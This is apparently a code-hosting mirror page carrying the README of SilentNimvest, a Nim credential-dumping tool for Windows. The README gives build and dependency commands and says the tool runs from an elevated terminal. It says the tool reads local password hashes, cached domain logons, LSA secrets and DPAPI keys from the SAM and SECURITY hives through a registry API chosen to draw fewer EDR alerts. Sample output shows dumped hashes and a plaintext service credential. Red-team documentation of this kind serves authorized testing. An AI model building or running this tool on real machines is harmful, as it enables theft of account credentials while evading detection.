SilentNimvest

KO | EN

gitlite — search

#react #typescript #rust #deep-learning #linux #nodejs #java #windows #awesome #cli #kubernetes #vue #pytorch #open-source

(★ 106)

Nim implementation for sud0Ru's Credential Dumping from SAM/SECURITY Hives Method (a.k.a. SilentHarvest)

파일 탐색기

최종 버전 다운로드 (.zip)

.gitignore
Crypto.nim
LICENSE
Main.nim
README.md
Structs.nim
Utility.nim

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# SilentNimvest
Basically, SilentNimvest is a SAM and Security Hives parser written in Nim. SilentNimvest reads keys under these hives by using the Silent Harvest technique. With this technique, rather than a SYSTEM-level privilege, a plain Administrator account who enables `SeBackupPrivilege` (thanks to `NtOpenKeyEx` flags) can dump the Local users' hashes, cached domain logon information, LSA Secrets, and other secrets that can be obtained from these hives
by using a less EDR-alerted registry read API which is `RegQueryMultipleValuesW`.
The whole project is based on [sud0ru's research](https://sud0ru.ghost.io/silent-harvest-extracting-windows-secrets-under-the-radar/).

# Compilation

You can directly compile the source code with the following command:

`nim c -d:release -o:SilentNimvest.exe Main.nim`

In case you get the error "cannot open file", you should also install the required dependencies:

`nimble install winim nimcrypto checksums des`

# Usage

SilentNimvest can be executed directly without any required parameters from an elevated Administrator terminal.

```
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
 __ _ _            _       __ _                         _
/ _(_) | ___ _ __ | |_  /\ \ (_)_ __ _____   _____  ___| |_
\ \| | |/ _ \ '_ \| __|/  \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | |  __/ | | | |_/ /\  /| | | | | | \ V /  __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|

@R0h1rr1m

[!] Trying to parse SAM Related Credentials (Local Users)

[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)

[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest

```

# References

- https://sud0ru.ghost.io/silent-harvest-extracting-windows-secrets-under-the-radar/
- https://github.com/GhostPack/SharpDump
- https://cocomelonc.github.io/malware/2024/06/01/malware-cryptography-28.html

# Disclaimer

For authorized security testing only. Misuse of this tool against systems without explicit permission is illegal.

SilentNimvest

파일 탐색기

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

SilentNimvest

파일 탐색기

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README